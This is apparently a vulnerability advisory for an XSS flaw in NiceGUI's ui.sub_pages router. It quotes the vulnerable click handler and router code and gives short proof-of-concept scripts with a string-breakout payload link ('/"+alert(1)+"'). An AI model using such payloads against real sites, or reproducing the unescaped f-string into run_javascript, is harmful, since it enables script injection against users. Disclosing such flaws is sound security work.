Summary

An unsafe implementation in the click event listener used by ui.sub_pages, combined with attacker-controlled link rendering on the page, causes an XSS when the user actively clicks on the link.

Details

1. On click, eventually sub_pages_navigate event is emitted.
   

   nicegui/nicegui/elements/sub_pages.js

   Lines 41 to 63 in 59fa942

   	document.addEventListener("click", (e) => {
   	const a = e.target.closest("a[href]");
   	if (a && a.target !== "_blank" && !a.hasAttribute("download")) {
   	const href = a.getAttribute("href");
   	if (href.startsWith("/")) {
   	e.preventDefault();
   	const currentPath = getCleanCurrentPath();
   	const targetUrl = new URL(href, window.location.origin);
   	const targetPath = stripPathPrefix(targetUrl.pathname + targetUrl.search);
   	// Handle same-page fragment navigation
   	if (currentPath === targetPath && targetUrl.hash) {
   	if (handleFragmentNavigation(href, targetUrl)) {
   	return;
   	}
   	}
   	// Regular page navigation
   	emitEvent("sub_pages_navigate", stripPathPrefix(href));
   	}
   	}
   	});

2. SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_navigate, _handle_navigate runs.
   

   nicegui/nicegui/sub_pages_router.py

   Lines 18 to 22 in 59fa942

   	class SubPagesRouter:
   	def __init__(self, request: Request | None) -> None:
   	on('sub_pages_open', lambda event: self._handle_open(event.args))
   	on('sub_pages_navigate', lambda event: self._handle_navigate(event.args))

3. _handle_navigate runs run_javascript with f-string substituting self.current_path which is simply surrounded by double-quotes. The string context can be broken out easily.

PoC

The minimal PoC boils down to this:

from nicegui import ui

ui.sub_pages({'/': lambda: ui.link('Go to XSS', '/"+alert(1)+"')})

ui.run()

However, it is more likely that the attack takes place with attacker-controlled input, for which this shows it:

from nicegui import app, ui

ui.sub_pages({'/': lambda: ui.label('Hello, World!')})

ui.textarea('Markdown content').bind_value(app.storage.general, 'markdown_content')

ui.markdown().bind_content_from(app.storage.general, 'markdown_content')

ui.run()

Vulnerable input is [XSS LINK](/"+alert(document.domain)+") (causes double payload execution, though)

Both cases require someone to click on the link.

Impact

Any page which uses ui.sub_pages and renders arbitrary links on screen (common case of ui.markdown) is affected.

The impact is low since a click is always required from the user, who can on-hover to discover the sketchy content of the link and stop if well-trained.

Appendix

AI is used safely to judge the CVSS scoring (input is not even provided, just the impact statement).

Please find the results in https://poe.com/s/y5DvyqgtszDGLUuHin1O

Scoring update after manual review

• Scope Changed is more inline with other posted XSS vulnerabilities
• Availability None: No DDoS is possible with this. Site remains performant as ever.